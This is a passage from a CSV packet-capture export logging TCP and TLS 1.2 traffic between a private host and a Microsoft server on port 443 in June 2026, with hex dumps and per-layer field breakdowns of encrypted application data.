\\\x8c\\\\xfe\\\\xc3\\\\xdcm\\\\x007\\\\x80\\\\xa9\\\\xe5\\\\x05\\\\xd7\\\\xfd\\\\x806O\\\\xbe<\\\\x8dkE\\\\x8f\\\\x86\\\\xeaj\\\\xd6Z\\\\xb50\\\\xb6pPz\\\\xb3\\\\x04N\\\\xc98\\\\xa4ks\\\\xff\\\\x10\\\\x02\\\\xa8\\\\x99\\\\x9c\\\\xd3\\\\xb2\\\\xc8\\\\xdb\\\\xa8\\\\xa8%K\\\\x10\\\\xb7\\\\x1cr,\\\\x84yP\\\\x194\\\\xe5\\\\xc1w' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xbfD\\\\xb7;\\\\x1c#s-[Q\\\\xf4\\\\x1c\\\\xe1:\\\\xc1\\\\x97\\\\x19\\\\xf8 \\\\xeb\\\\x9b2\\\\xa3\\\\xac\\\\xb9' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:49.411932,119,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256294174 Ack=2330698204,bc24112907bbbc2411360d0c080045000028ef53400080066b250a98980b3461c952fa0c01bb4ae1871e8aeba1dc5010040010ee0000,\".$.)...$.6\n...E..(.S@...k%\n...4a.R....J.......P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61267, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27429, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294174, \"\"ack\"\": 2330698204, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1024, \"\"chksum\"\": 4334, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:49.414432,120,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256294174 Ack=2330698204,bc24112907bbbc2411360d0c080045000068ef54400080066ae40a98980b3461c952fa0c01bb4ae1871e8aeba1dc50180400f73a0000170303003b00000000000000049e56fe9c308c1b4c13210b5852d61c4e1554d31420d3550bc8c246b048c5888bc5039a75c1e22a5766cbae0ac1bffcad24546f,\".$.)...$.6\n...E..h.T@...j.\n...4a.R....J.......P....:......;.........V..0..L.!.XR..N.T.. .U...F.H......u..*Wf..\n....$To\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 104, \"\"id\"\": 61268, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27364, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294174, \"\"ack\"\": 2330698204, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1024, \"\"chksum\"\": 63290, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 59, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\x9eV\\\\xfe\\\\x9c0\\\\x8c\\\\x1bL\\\\x13!\\\\x0bXR\\\\xd6\\\\x1cN\\\\x15T\\\\xd3\\\\x14 \\\\xd3U\\\\x0b\\\\xc8\\\\xc2F\\\\xb0H\\\\xc5\\\\x88\\\\x8b\\\\xc5\\\\x03\\\\x9au\\\\xc1\\\\xe2*Wf\\\\xcb\\\\xae\\\\n\\\\xc1\\\\xbf\\\\xfc\\\\xad$To' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:49.414452,121,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330698204 Ack=1256294238,bc2411360d0cbc24112907bb0800450000282aa6400040066fd33461c9520a98980b01bbfa0c8aeba1dc4ae1875e5010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n...........J..^P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10918, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28627, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330698204, \"\"ack\"\": 1256294238, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.155990,122,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2330698204 Ack=1256294238,bc2411360d0cbc24112907bb0800450002c02aa7400040066d3a3461c9520a98980b01bbfa0c8aeba1dc4ae1875e5018003fa30900001703030293000000000000000601a5f7ea80a28bc1a7cf0c12c5dd80ff812481efdfd9b3b56fff7a0ee7f2324a631b543eb6c663f63da3e5f4d68c04db4f4b4af879815dcb02728c1d513f5937b019d4be47e101eb450e28a59d07da21980f188b4c351f93e798d5b2251a51212a49d8065f3f515a24d8318d81a9aec3524e2c4c7e39a2ec496100b10e6f8d47cee2be8e61c6915b3c7471beb422a49e2910944f285949a64f10b938f099b374acd2806e0183c3167c42590f5e3d404c3e92ad1f8fe8a0415060c0a7cd41bac285b56fd8b88a7062e820e597146f4b733f2bc4e8cede36a94922c7f5b2224ef2ddbab5e63987d6e0fcdc1cc61982b6f0aff3a593a5e61536a5967a788e1aaa0682776520575f43b134aae58045d7eb621fda86ddb1e5802dee37065a3e51475e78b4105bd697822b2cc797b63845cc48d2c63c91cc2144d1faee106b8b5a7a9c562989a633286424b968b84e020062b72a18d0823e65ecfdbdd6d007a3910b0570fa1e0b5c09e3097aca1e1001ec89fae837ff996e50ab3400b4aafa5c24fd38470fe2238b708c46a7a645ddd677dc49b99d4e89cf2e62227e8c0a16a5279385b2dbb7ad8d969121afa1e4cd14bc43737f879da0d859899892c87a099fbd659ab57115c596a3b35335597f47857633f0a00dfe68bdda2c034629021ee75f8255c3753c636aaea8739f01574fd13ccb7beb7a081d55bf25bf8e1e46b20840cf0f8526c23f2fe2f591dbafb2d12f299a4bae5253dd798a23981efe8b7b7befcc4d8bbbd8bda9f41d905c3b389db1cb49c99256eaed4942a08c30a0e437212f077b066707b5773e43ccad1043075c5e77020414a5fce87b1c617b9e58915555c9b938728bdf9d5ffed65e4bb8eacef5beb407d5b3d126e802249b222b5b76a4d5331d69a0ff3aa0a5fc989b94,\".$.6\n..$.)....E...*.@.@.m:4a.R\n...........J..^P..?.\t................................$......o.z...2Jc.T>..c.=.......OKJ.y.]..r..Q?Y7....G...E.(....!....L5......%.Q!*I.._?QZ$.1.....RN,L~9..Ia...o.G....a..[<tq..\"\"..)..O(YI.O..8...t...n....|BY.^=@L>......AP`...A....o...pb. ...oKs?+....6.I\"\"...\"\"N.....9..................6..zx.....we W_C.4...E..b.......-.7.Z>QG^x..[...+,...8E.H..<..!D....k.Zz.V)..3(d$.h.N..b.*...>e..........p...\\\t.\tz........7..nP.4....\\$.8G..#.p.F..E..w.I..N...b\"\"~.\n..'.........!......Cs.....Y....z\t..e..q.....S5Y.G.v3..\n.h..,.F)..._.U.u<cj..s..WO.<.{.z..U.%...F..@...&.?/......./).K.RS.y.#....{{..M........\\;8...I..V..IB..0..7!/.{.g..w>C...C.\\^w......{.a{.X.UU..8r..._..^K..........&..$.\"\"+[v..3.i..:......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 704, \"\"id\"\": 10919, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27962, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330698204, \"\"ack\"\": 1256294238, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 41737, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 659, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x06\\\\x01\\\\xa5\\\\xf7\\\\xea\\\\x80\\\\xa2\\\\x8b\\\\xc1\\\\xa7\\\\xcf\\\\x0c\\\\x12\\\\xc5\\\\xdd\\\\x80\\\\xff\\\\x81$\\\\x81\\\\xef\\\\xdf\\\\xd9\\\\xb3\\\\xb5o\\\\xffz\\\\x0e\\\\xe7\\\\xf22Jc\\\\x1bT>\\\\xb6\\\\xc6c\\\\xf6=\\\\xa3\\\\xe5\\\\xf4\\\\xd6\\\\x8c\\\\x04\\\\xdbOKJ\\\\xf8y\\\\x81]\\\\xcb\\\\x02r\\\\x8c\\\\x1dQ?Y7\\\\xb0\\\\x19\\\\xd4\\\\xbeG\\\\xe1\\\\x01\\\\xebE\\\\x0e(\\\\xa5\\\\x9d\\\\x07\\\\xda!\\\\x98\\\\x0f\\\\x18\\\\x8bL5\\\\x1f\\\\x93\\\\xe7\\\\x98\\\\xd5\\\\xb2%\\\\x1aQ!*I\\\\xd8\\\\x06_?QZ$\\\\xd81\\\\x8d\\\\x81\\\\xa9\\\\xae\\\\xc3RN,L~9\\\\xa2\\\\xecIa\\\\x00\\\\xb1\\\\x0eo\\\\x8dG\\\\xce\\\\xe2\\\\xbe\\\\x8ea\\\\xc6\\\\x91[<tq\\\\xbe\\\\xb4\\\"\"\\\\xa4\\\\x9e)\\\\x10\\\\x94O(YI\\\\xa6O\\\\x10\\\\xb98\\\\xf0\\\\x99\\\\xb3t\\\\xac\\\\xd2\\\\x80n\\\\x01\\\\x83\\\\xc3\\\\x16|BY\\\\x0f^=@L>\\\\x92\\\\xad\\\\x1f\\\\x8f\\\\xe8\\\\xa0AP`\\\\xc0\\\\xa7\\\\xcdA\\\\xba\\\\xc2\\\\x85\\\\xb5o\\\\xd8\\\\xb8\\\\x8apb\\\\xe8 \\\\xe5\\\\x97\\\\x14oKs?+\\\\xc4\\\\xe8\\\\xce\\\\xde6\\\\xa9I\\\"\"\\\\xc7\\\\xf5\\\\xb2\\\"\"N\\\\xf2\\\\xdd\\\\xba\\\\xb5\\\\xe69\\\\x87\\\\xd6\\\\xe0\\\\xfc\\\\xdc\\\\x1c\\\\xc6\\\\x19\\\\x82\\\\xb6\\\\xf0\\\\xaf\\\\xf3\\\\xa5\\\\x93\\\\xa5\\\\xe6\\\\x156\\\\xa5\\\\x96zx\\\\x8e\\\\x1a\\\\xaa\\\\x06\\\\x82we W_C\\\\xb14\\\\xaa\\\\xe5\\\\x80E\\\\xd7\\\\xebb\\\\x1f\\\\xda\\\\x86\\\\xdd\\\\xb1\\\\xe5\\\\x80-\\\\xee7\\\\x06Z>QG^x\\\\xb4\\\\x10[\\\\xd6\\\\x97\\\\x82+,\\\\xc7\\\\x97\\\\xb68E\\\\xccH\\\\xd2\\\\xc6<\\\\x91\\\\xcc!D\\\\xd1\\\\xfa\\\\xee\\\\x10k\\\\x8bZz\\\\x9cV)\\\\x89\\\\xa63(d$\\\\xb9h\\\\xb8N\\\\x02\\\\x00b\\\\xb7*\\\\x18\\\\xd0\\\\x82>e\\\\xec\\\\xfd\\\\xbd\\\\xd6\\\\xd0\\\\x07\\\\xa3\\\\x91\\\\x0b\\\\x05p\\\\xfa\\\\x1e\\\\x0b\\\\\\\\\\\\t\\\\xe3\\\\tz\\\\xca\\\\x1e\\\\x10\\\\x01\\\\xec\\\\x89\\\\xfa\\\\xe87\\\\xff\\\\x99nP\\\\xab4\\\\x00\\\\xb4\\\\xaa\\\\xfa\\\\\\\\$\\\\xfd8G\\\\x0f\\\\xe2#\\\\x8bp\\\\x8cF\\\\xa7\\\\xa6E\\\\xdd\\\\xd6w\\\\xdcI\\\\xb9\\\\x9dN\\\\x89\\\\xcf.b\\\"\"~\\\\x8c\\\\n\\\\x16\\\\xa5\\\\'\\\\x93\\\\x85\\\\xb2\\\\xdb\\\\xb7\\\\xad\\\\x8d\\\\x96\\\\x91!\\\\xaf\\\\xa1\\\\xe4\\\\xcd\\\\x14\\\\xbcCs\\\\x7f\\\\x87\\\\x9d\\\\xa0\\\\xd8Y\\\\x89\\\\x98\\\\x92\\\\xc8z\\\\t\\\\x9f\\\\xbde\\\\x9a\\\\xb5q\\\\x15\\\\xc5\\\\x96\\\\xa3\\\\xb3S5Y\\\\x7fG\\\\x85v3\\\\xf0\\\\xa0\\\\r\\\\xfeh\\\\xbd\\\\xda,\\\\x03F)\\\\x02\\\\x1e\\\\xe7_\\\\x82U\\\\xc3u<cj\\\\xae\\\\xa8s\\\\x9f\\\\x01WO\\\\xd1<\\\\xcb{\\\\xebz\\\\x08\\\\x1dU\\\\xbf%\\\\xbf\\\\x8e\\\\x1eF\\\\xb2\\\\x08@\\\\xcf\\\\x0f\\\\x85&\\\\xc2?/\\\\xe2\\\\xf5\\\\x91\\\\xdb\\\\xaf\\\\xb2\\\\xd1/)\\\\x9aK\\\\xaeRS\\\\xddy\\\\x8a#\\\\x98\\\\x1e\\\\xfe\\\\x8b{{\\\\xef\\\\xccM\\\\x8b\\\\xbb\\\\xd8\\\\xbd\\\\xa9\\\\xf4\\\\x1d\\\\x90\\\\\\\\;8\\\\x9d\\\\xb1\\\\xcbI\\\\xc9\\\\x92V\\\\xea\\\\xedIB\\\\xa0\\\\x8c0\\\\xa0\\\\xe47!/\\\\x07{\\\\x06g\\\\x07\\\\xb5w>C\\\\xcc\\\\xad\\\\x10C\\\\x07\\\\\\\\^w\\\\x02\\\\x04\\\\x14\\\\xa5\\\\xfc\\\\xe8{\\\\x1ca{\\\\x9eX\\\\x91UU\\\\xc9\\\\xb98r\\\\x8b\\\\xdf\\\\x9d_\\\\xfe\\\\xd6^K\\\\xb8\\\\xea\\\\xce\\\\xf5\\\\xbe\\\\xb4\\\\x07\\\\xd5\\\\xb3\\\\xd1&\\\\xe8\\\\x02$\\\\x9b\\\"\"+[v\\\\xa4\\\\xd53\\\\x1di\\\\xa0\\\\xff:\\\\xa0\\\\xa5\\\\xfc\\\\x98\\\\x9b\\\\x94' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:50.156170,123,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,A,,,Ether > IP > TCP,3,TCP A Seq=1256294238 Ack=2330698868,bc24112907bbbc2411360d0c080045000028ef55400080066b230a98980b3461c952fa0c01bb4ae1875e8aeba474501003fd0e190000,\".$.)...$.6\n...E..(.U@...k#\n...4a.R....J..^...tP.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61269, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27427, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294238, \"\"ack\"\": 2330698868, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1021, \"\"chksum\"\": 3609, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.158138,124,TCP 10.152.152.11:64012 -> 52.97.201.82:443,10.152.152.11,52.97.201.82,64012,443,TCP,Internal,Private Network,,,,,,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1256294238 Ack=2330698868,bc24112907bbbc2411360d0c08004500006eef56400080066adc0a98980b3461c952fa0c01bb4ae1875e8aeba474501803fde660000017030300410000000000000005da428ab85d1a823113598f1d520135c0e9ddb1ad1a984cb62b8c7edea0db5b952162507e15d06e11b4e8a19da6628b4a3b91a019e9a5cc4b3f,\".$.)...$.6\n...E..n.V@...j.\n...4a.R....J..^...tP....`......A.........B..]..1.Y..R.5.......L.+.~...[.!bP~..n......b.J;......K?\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 110, \"\"id\"\": 61270, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 27356, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"52.97.201.82\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64012, \"\"dport\"\": 443, \"\"seq\"\": 1256294238, \"\"ack\"\": 2330698868, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1021, \"\"chksum\"\": 58976, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 65, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x05\\\\xdaB\\\\x8a\\\\xb8]\\\\x1a\\\\x821\\\\x13Y\\\\x8f\\\\x1dR\\\\x015\\\\xc0\\\\xe9\\\\xdd\\\\xb1\\\\xad\\\\x1a\\\\x98L\\\\xb6+\\\\x8c~\\\\xde\\\\xa0\\\\xdb[\\\\x95!bP~\\\\x15\\\\xd0n\\\\x11\\\\xb4\\\\xe8\\\\xa1\\\\x9d\\\\xa6b\\\\x8bJ;\\\\x91\\\\xa0\\\\x19\\\\xe9\\\\xa5\\\\xccK?' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:50.158148,125,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2330698868 Ack=1256294308,bc2411360d0cbc24112907bb0800450000282aa8400040066fd13461c9520a98980b01bbfa0c8aeba4744ae187a45010003fa0710000,\".$.6\n..$.)....E..(*.@.@.o.4a.R\n..........tJ...P..?.q..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 10920, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 28625, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330698868, \"\"ack\"\": 1256294308, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 41073, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:50.790098,126,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2330698868 Ack=1256294308,bc2411360d0cbc24112907bb08004500029c2aa9400040066d5c3461c9520a98980b01bbfa0c8aeba4744ae187a45018003fa2e50000170303026f0000000000000007ad4b52a496f5db74756ca9499d72928aff12950976fafb0e3ccc106bbfa3fb73558be8023bcd5c253595dad8981d5744313999e66824ef880263c8c7e7e1b88c5cfc7b165b51ad493e2fdb50a49feca041ff5be9e537ea0e963a497326308277fd488a6d1bc6d78e98dd911f74a929e87d8c066268e68a9dfc2f54cb9631c47e13d73357752a644dd47d1a132ac8d37b38b9a99e00977e3a57da1a2ab8a127490d7ad7e41f9ee45b8df70512fe949306f479b9d7229cd9d965fe1e71d04d8dc83a924f9c7b85b83be20de33b64425be2ee9347755070fa89af1dc7c019c3928d69a66d7130d2852c9dd5bd9ff29ee3d15ce030fe9eda7dcd0cc3c144bba1572746707f523313f5347b7e15432d4a19453a427eb71f1e9a796ff7e5553a21bf3ce7fa9465b1bd199fdee55e64a049f224e09e45624d615a5df47088b53e12d6f7914dde5367fa72184a1ffe6b911c29449119e45f2975ac636b084aa0d7f25128901499e01bf822d25144302ec474444275de4bc6e87d14d2d7823f5b29d03eb8cba6644b42182135d511284ceffd5b5b4fa7d24343218d70f0cea398eb3c556e197610f8f540a4724ca0aad493512d42efa6122df9846f917256d2b04b164929f666287a6451f9a0091066069d574ba208fb313844d24cc369f7f63cfc63c8d5f418506eda41e43153fb19cb4e696014fa4c17cd6bf3a0350d7b37c7fb35c29b6636c8b83699ce5091e71a5a02fb086b73b428828ae1d263bd23d9d5b30399f396c270fadde86ed81cec68db8a7a313de5b00de1f4f89451983020c79c45b49b28abcd708c36cc1ca7ccabb476bfa3351e0c5a9b925bafa77dcff1d6d47d7eb78e56b1a40083b9,\".$.6\n..$.)....E...*.@.@.m\\4a.R\n..........tJ...P..?........o.........KR....tul.I.r.....\tv...<..k...sU...;.\\%5.....WD19..h$...c......\\.{.[Q.I>/.P....A.[..7...:Is&0.w.H.m........t.).}..bh..../T..1.~..3Wu*dM.}..*..{8.....~:W..*..'I\nz.....[.........y..\"\"...e..q.M..:.O.{..;.\n.;dB[...GuPp..........i.mq0..,........\\.0...}....D..W'Fp.R3..4{~.C-J.E:B~....yo..U:!.<...e......^d.I.$..EbMaZ].p..>....M.Sg.r.J..k..)D..._)u.ck.J...Q(......\"\".QD0..tDBu.K..}....?[).>...dKB.!5..(L..[[O..CC!.p.....<Un.v...@.rL....Q-B...-..o.rV..K.I).f(zdQ..\t.f..WK...18D.L.i..<.c....Pn.A.1S...Ni`..L..k..5\n{7..5..f6..6..P...Z...ks.(....c.#........p...n...h..z1=..\n....Q.0 ..E..(..p.6......v..5..Z..[..}....}~..V.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 668, \"\"id\"\": 10921, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27996, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330698868, \"\"ack\"\": 1256294308, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 41701, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 623, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  